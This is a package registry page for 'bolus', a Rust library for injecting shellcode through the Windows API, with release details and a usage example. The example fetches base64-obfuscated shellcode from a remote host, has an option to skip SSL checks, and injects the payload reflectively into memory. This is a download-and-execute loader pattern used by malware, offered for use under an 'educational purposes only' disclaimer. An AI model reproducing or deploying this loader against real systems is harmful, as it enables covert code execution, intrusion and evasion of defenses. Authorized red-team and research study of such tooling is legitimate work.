#shellcode

bolus

Library for shellcode injection using the Windows API

4 releases (2 breaking)

0.3.0 Sep 3, 2024
0.2.0 Sep 14, 2023
0.1.1 Jun 4, 2023
0.1.0 Jun 4, 2023

#8 in #shellcode

34 downloads per month

MIT license

13KB
202 lines

Bolus

Library for shellcode injection using the Windows API.

WARNING: This code is for educational purposes only. The creator strongly urges you to only use this code in authorized contexts. Don't do crimes.

Usage

The following is an example implementation, which can be observed in RustyNeedle:

use bolus::{
    inject,
    load,
    injectors::{
        InjectionType,
        InjectorType
    }
};

/// The URL where shellcode will be downloaded from
const URL: &str = "http://1.2.3.4/note.txt";
/// The # of base64 iterations to decode
const B64_ITERATIONS: usize = 3;
/// `IgnoreSSL` switch. You know what this does.
const IGNORE_SSL: bool = false;

fn main() -> Result<(), String> {
    let injector = load(
        InjectorType::Base64Url((
            URL.to_string(),
            IGNORE_SSL,
            B64_ITERATIONS
        ))
    )?;
    inject(
        injector,
        InjectionType::Reflect,
        true
    )
}

Documentation

Full docs at docs.rs

Dependencies

~144MB
~2.5M SLoC